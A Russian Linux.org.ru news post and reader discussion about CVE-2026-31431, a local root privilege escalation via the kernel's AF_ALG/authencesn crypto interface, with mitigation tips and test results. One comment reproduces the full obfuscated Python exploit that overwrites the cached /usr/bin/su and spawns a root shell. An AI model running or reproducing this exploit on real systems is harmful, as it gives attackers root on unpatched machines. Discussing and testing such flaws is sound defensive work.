LINUX.ORG.RU

CVE-2026-31431: локальная уязвимость с повышением привилегий во всех современных Linux

 ,


3

5

Опубликованы подробности уязвимости «Copy Fail» CVE-2026-31431 (Base Score: 7.8 HIGH), которая обеспечивает локальное повышение привилегий до root любого локального пользователя без специальных средств и условий. Проблема проявляется начиная с ядра Linux 4.14, выпущенного в 2017 году, и устранена в ядрах 6.18.22, 6.19.12 и 7.0.

Уязвимость связана с ошибкой в authencesn — криптографическом шаблоне в ядре Linux — и эксплуатируется через интерфейс AF_ALG.

Доступен эксплоит с кодом на Python в 732 байт.

Для всех многопользовательских систем и изолированных сред рекомендовано обновление ядра на версию с откатом коммита 72548b093ee3 при выходе исправлений.

Эффективной мерой по закрытию уязвимости до обновления будет отключение модуля algif_aead в ядре. Его отключение не окажет заметного влияния на системы, где средства криптографии явно не настроены на работу исключительно через AF_ALG.

>>> Подробности

anonymous

Проверено: CrX ()
Последнее исправление: cetjs2 (всего исправлений: 3)

отключение модуля algif_aead

Просто удалить файл algif_aead.ko? Или что-то сломается и нужно ядро пересобирать без этого модуля?

mky ★★★★★
()

Эффективной мерой по закрытию уязвимости до обновления будет отключение модуля algif_aead в ядре

А если не отключить, то средства криптографии могут подгрузить его сами?

apt_install_lrzsz ★★★★
()

у меня не воспроизводится. запрашивает пароль. или с какой-то опцией ядро должно быть собрано?

teod0r ★★★★★
()

серьёзная ебаба, ребята, там даже логотип у ей есть.

Biene
()
Ответ на: комментарий от emmawatsondtypants

от притягивания по зависимости

Что он там притянет, если файл удалён и обновления ядер запрещено?

mky ★★★★★
()
Ответ на: комментарий от teod0r

У меня тоже не воспроизвелось. Не так страшен черт как его малюют.

ulyssesjj
()

Мне этот test_cve_2026_31431.py выводит:

[+] Precondition not met ('authencesn(hmac(sha256),cbc(aes))' cannot be instantiated (No such file or directory)). NOT vulnerable.

Хотя я даже этот модуль algif_aead загрузил и af_alg тоже загрузился. Что это: authencesn... означает вобще? Это нужно ещё sha256_geniric.ko загружать или что?

mky ★★★★★
()

Что за отвратительное описание, даже списка уязвимых систем нет. Почему за такими элементарными подробностями надо по ссылкам ходить?

Напишу тут: заявляется, что уязвимы все ядра начиная с 2017 года. Впрочем, выше уже несколько сообщений о том что у них эксплойт не работает.

И вот то что там предлагается в качестве эксплойта

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Ни у кого нет деобфусцированной и переведённой на нормальный язык?

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 2)

Уязвимость связана с ошибкой в authencesn — криптографическом шаблоне в ядре Linux

То есть в ядре должно быть CONFIG_CRYPTO_AUTHENC (Authenc: Combined mode wrapper for IPsec) и долже быть модуль authencesn.ko? Что это вобще за интерфейс к IPsec, зачем он торчит из ядра, если IPsec в ядре?

Реально, надо просто всё CONFIG_CRYPTO* выключить и пересобрать ядро, или всё модули из kernel/crypto удалить. Вроде как, user-space утилиты без этого работают и сами не пытаются эти модули грузить, во всяком случае у меня был вобще пустой /proc/crypto.

Здесь, если я правильно понял, написано, что патч, давший эту уязвимость (AEAD operations in-place), не давал прироста производительности. Получается улучшение ради улучшения...

mky ★★★★★
()
Последнее исправление: mky (всего исправлений: 1)

Я говорил уже, что все эти права в Линуксе существуют только для добропорядочных людей, на чёрном рынке есть полно кода для получения рут доступа из непривелигированного пользователя. В дырявой Сишке по-другому и не может быть.

X512 ★★★★★
()

Жесть. Ни дня без хорошей новости… 😔

Слишком много кода везде слишком мало контроля качества.

wandrien ★★★☆
()
Ответ на: комментарий от apt_install_lrzsz

Злобный скрипт под пользователем может инициировать его автоматическую загрузку яром, а потом выполниться. В Ubuntu 24.04 как минимум это возможно. modinfo из под юзера модуль видит.

P.S. Фикса пока нет даже для pro. В Debian уже какой-то фикс уже принят, так что через день два будет везде.

Evgueni ★★★★★
()
Последнее исправление: Evgueni (всего исправлений: 1)
Ответ на: комментарий от ox55ff

Я точно не знаю. Поэтому и «наверное». У меня просто нет authenc, проверить не могу, а компилять лень. Может в каких системах эти модули грузятся по умолчанию или какой софт их загружает.

mky ★★★★★
()
Ответ на: комментарий от ox55ff

Так ты запусти эксплоит, или что-нибудь еще, что использует данное API. Пока никто его не дернул, модули не загружены, что логично.

Khnazile ★★★★★
()
Ответ на: комментарий от ox55ff

У меня экспойт сам их подгружает (видимо во время bind()), рут-права для этого не требуются. Ну и он работает, да.

firkax ★★★★★
()
Ответ на: комментарий от teod0r

Кстати а ты писал раньше что suid-флаги хочешь поубирать отовсюду, с su убрал? Конкретно этот эксплоит пользуется suid-флагом на нём, и иначе не заработает, но сама уязвимость позволяет и другие пути использовать, написав соответствующий код. Например можно пропатчить какую-нить прогу, которая сама собой от рута работает (да хоть init), чтобы она выполнила требуемые действия.

firkax ★★★★★
()
Ответ на: комментарий от firkax
rmmod algif_aead
rm /lib/modules/*/kernel/crypto/algif_aead.ko

после этого не работает, но если потом обновлять ядро этот файл вернётся назад скорее всего

firkax ★★★★★
()
Ответ на: комментарий от firkax

файл вернётся назад

Ну на это и советуют 'install algif_aead /bin/false' в modprobe.d.

mky ★★★★★
()
Ответ на: комментарий от seiken

А при чём тут ssh? Вот хостится у тебя дырявый wordpress или ещё какая чушь, в него залили пхп-шелл, из шелла сделали этот эксплойт и получили рута.

firkax ★★★★★
()

на системах с мандатным контролем доступа воспроизводится не полностью )

несмотря на успешное получение рута, данные забрать не получается.

aol ★★★★★
()
Ответ на: комментарий от firkax

Что за отвратительное описание, даже списка уязвимых систем нет

Это чтоб тебе хоть какое-то время было чем заняться.

Затронуты большинство систем, выпущенных с 2017 года

emmawatsondtypants
()
Ответ на: комментарий от aol

Ну, дак это же просто концепт. Надо будет, найдут другой файл, который поправить. Как я понимаю, там правится 4 байта за одну операцию, но повторять их можно многократно с разыми смещениями, то есть «переписать» файл произвольным содержимым.

mky ★★★★★
()
Ответ на: комментарий от aol

Эксплойт не универсален, уязвимость шире. Уязвимость позволяет как минимум «редактировать» (в кеше) любые файлы, которые ты можешь открыть на чтение. В том числе (я не проверял, но вроде ничего этому не мешает) - можно отредактировать какой-то исполняемый файл или библиотеку, которые уже запущены с большими привилегиями (не тобой), при этом их запущеные экземпляры тоже пропатчатся.

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от mky

обдумываю этот вариант, да ))

засекаем, за сколько выпустят фстековское письмо и соответствующие бюллетени безопасности, кхе

aol ★★★★★
()
Ответ на: комментарий от firkax

В pacman возможно использовать NoExtract в конфиге, чтобы запретить установку конкретного файла.

У deb есть опция path-exclude, аналогично можно вписать в конфиг.

ИИ подсказывает, что для rpm прямого аналога нет.

wandrien ★★★☆
()
Ответ на: комментарий от aol

Письмо о недопустимости использования решета в ответственных местах?

firkax ★★★★★
()
Ответ на: комментарий от firkax

В системе, где несколько человек могут быть рутом, никакие эксплойты не страшны. Если они одновременно начнуть править конфиги, монтировать ФС и пр, то система станет просто неуязвимой :)

mky ★★★★★
()
Ответ на: комментарий от firkax

Вот хостится у тебя дырявый wordpress

Нет, это на каких-то других помойках. У нас никаких шеллов никуда не заливается.

seiken ★★★★★
()
Ответ на: комментарий от wandrien

У rpm было excludepath, только не знаю, можно ли там звёздочик или просто имя файла, а не полный путь.

mky ★★★★★
()
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
      ^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission denied: '/usr/bin/su'
saahriktu ★★★★★
()
$ modinfo algif_aead
name:           algif_aead
filename:       (builtin)
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller <smueller@chronox.de>
license:        GPL
file:           crypto/algif_aead
$ python test_cve_2026_31431.py
[*] CVE-2026-31431 detector  kernel=6.19.14-300.fc44.x86_64  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
arto ★★
()
Ответ на: комментарий от firkax

Мы тут, как бы, конкретный эксплоит тестируем. И он заточен конкретно под /usr/bin/su .

$ ls -l /usr/bin/su
-rws--x--- 1 root wheel 26920 сен 25  2024 /usr/bin/su
$

saahriktu ★★★★★
()
Ответ на: комментарий от saahriktu

Нет, тестируем уязвимость. Эксплойт это просто пример как её задействовать на большинстве систем.

Убирание лишних прав с файлов - хорошая практика, но в данном случае она не спасёт.

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 1)
Для того чтобы оставить комментарий войдите или зарегистрируйтесь.